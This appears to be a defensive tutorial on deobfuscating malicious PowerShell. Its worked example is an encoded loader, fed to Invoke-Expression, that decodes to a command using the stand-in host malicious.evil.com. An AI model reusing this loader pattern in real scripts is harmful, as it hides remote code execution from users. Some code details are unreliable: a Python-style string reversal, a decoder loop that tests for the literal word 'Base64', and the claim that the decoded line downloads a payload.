Kernel of Truth

Deobfuscate a PowerShell Script with Example

🔎 How to Deobfuscate a PowerShell Script (Cybersecurity Guide)

PowerShell is a powerful scripting language—but its flexibility also makes it a popular choice for attackers. Obfuscated PowerShell is frequently used in phishing payloads, fileless malware, and post-exploitation scripts. This page outlines a safe, methodical approach for deobfuscating and analysing PowerShell scripts.


📌 Why PowerShell Gets Obfuscated

Attackers obfuscate PowerShell to:

  • Bypass signature-based AV and EDR detection
  • Conceal intent or evade static analysis
  • Layer multiple techniques (e.g. base64 + compression + iex)

🛠 Step-by-Step: Deobfuscating a PowerShell Script


🔹 1. Perform Static Analysis First

Before running anything:

  • Open the script in a text editor (VS Code or Notepad++)
  • Search for common obfuscation indicators:
    • Invoke-Expression (iex)
    • FromBase64String, Invoke-WebRequest, Join-String
    • Randomised variables or excessive concatenation

🛑 Do not execute the script at this stage.


🔹 2. Beautify the Code

Many malicious scripts are minified or poorly formatted.

✅ Use tools like:

Improve readability before continuing.


🔹 3. Decode Encoded Content

Check for:

  • Base64 strings ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(...)))
  • Compressed objects (e.g. Gzip or Deflate)
  • XOR or custom encoding

✅ Tools:

  • CyberChef (drag-and-drop decode logic)
  • PowerShell one-liners: powershellCopyEdit$b64 = "encodedstring" [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64))

🔹 4. Isolate Invoke-Expression (iex) Blocks

iex is often used to execute hidden payloads. Replace it with Write-Output or Write-Host to reveal the command.

🔄 Example:

$cmd = "Get-Process"
Invoke-Expression $cmd # ❌
Write-Output $cmd # ✅

🔹 5. Use a Sandboxed Environment

If you must run part of the script:

  • Use a non-networked Windows VM
  • Disable internet access and snapshot the VM
  • Replace dangerous functions (DownloadFile, Start-Process) with logging outputs

🔐 Tools:


🔹 6. Script a Recursive Decoder (Optional)

For highly nested obfuscation, write a PowerShell decoder to:

  • Extract embedded code
  • Decode base64/XOR recursively
  • Log intermediate outputs

Sample logic:

function Deobfuscate-Base64Recursively($string) {
while ($string -match 'Base64') {
$string = [System.Text.Encoding]::UTF8.GetString(
[System.Convert]::FromBase64String($string)
)
Write-Output $string
}
}

🔹 7. Identify Malicious Behaviour

After revealing the code:

  • Look for:
    • Invoke-WebRequest (downloads)
    • Add-MpPreference, Set-MpPreference (defender evasion)
    • Registry modifications for persistence
    • Scheduled tasks, WMI, or COM object abuse

Use tools like:


🧪 Common Obfuscation Techniques

TechniqueDescription
Base64Encoded commands to hide real content
String ConcatenationBreaking up words like "In"+"voke-"+"WebRequest"
Reversed Strings'tupnI-teG'[::-1] becomes Get-Input
ASCII Encoding[char]65+[char]66 becomes “AB”
Nested iex callsExecution layering: iex(iex($var))

🔍 Tools You Should Know

ToolUse Case
CyberChefVisual decoding (base64, XOR, gzip)
PowerShell BeautifierReadable formatting
Any.Run / Joe SandboxSafe dynamic analysis
Procmon / WiresharkBehavioural analysis

✅ Final Tips

  • Always work offline
  • Comment out malicious lines before executing any part
  • Log every decoded stage for later reference
  • Check decoded commands against known IOCs

🔄 PowerShell Deobfuscation Workflow – Practical Example

This walkthrough shows how to deobfuscate a malicious PowerShell script using safe, repeatable steps.


⚠️ Obfuscated PowerShell Sample

The attacker used string manipulation and Base64 encoding:

$e = 'JAB1AHIAbAA9ACcAaAB0AHQAcAA6AC8ALwBtAGEAbABpAGMAaQBvAHUAcwAuAGUAdgBpAGwALgBjAG8AbQAvAHAAZwAnADsASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJAB1AHIAbAA='
$decoded = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($e))
Invoke-Expression $decoded

🛠 Deobfuscation Workflow


🔹 Step 1: Review the Script Safely

  • Paste the code into VS Code or Notepad++.
  • Note use of:
    • $e = '...' → base64
    • [System.Text.Encoding]::Unicode.GetString(...)
    • Invoke-Expression (aka iex)

🛑 Do not run it yet.


🔹 Step 2: Decode Base64 Safely

We extract and decode the payload manually in a controlled session:

$e = 'JAB1AHIAbAA9ACcAaAB0AHQAcAA6AC8ALwBtAGEAbABpAGMAaQBvAHUAcwAuAGUAdgBpAGwALgBjAG8AbQAvAHAAZwAnADsASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJAB1AHIAbAA='
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($e))

Decoded result:

$url='http://malicious.evil.com/pg';Invoke-Expression $url

🔹 Step 3: Neutralise Dangerous Commands

Before running anything, replace Invoke-Expression with Write-Output:

$url='http://malicious.evil.com/pg';Write-Output $url

💡 Now we see what the original command would do without executing it.


🔹 Step 4: Understand Intent

  • The script downloads another payload from a malicious domain.
  • It likely fetches a second-stage malware (e.g. RAT, keylogger, etc.).
  • Check the domain against threat intel feeds like:

🔹 Step 5: Document and Extract IOCs

From this sample, we extract:

  • IOC URL: http://malicious.evil.com/pg
  • TTPs: Encoded payload, remote execution, script delivery

📝 Save your decoded version and extracted IOCs for incident response and threat hunting.


📌 Summary

StepAction
1. Static ReviewOpen safely in an editor and inspect patterns
2. Decode Base64Manually decode encoded content
3. Defuse ExecutionReplace execution calls with Write-Output
4. Analyse IntentUnderstand purpose and extract IOCs
5. DocumentRecord decoded payloads and relevant indicators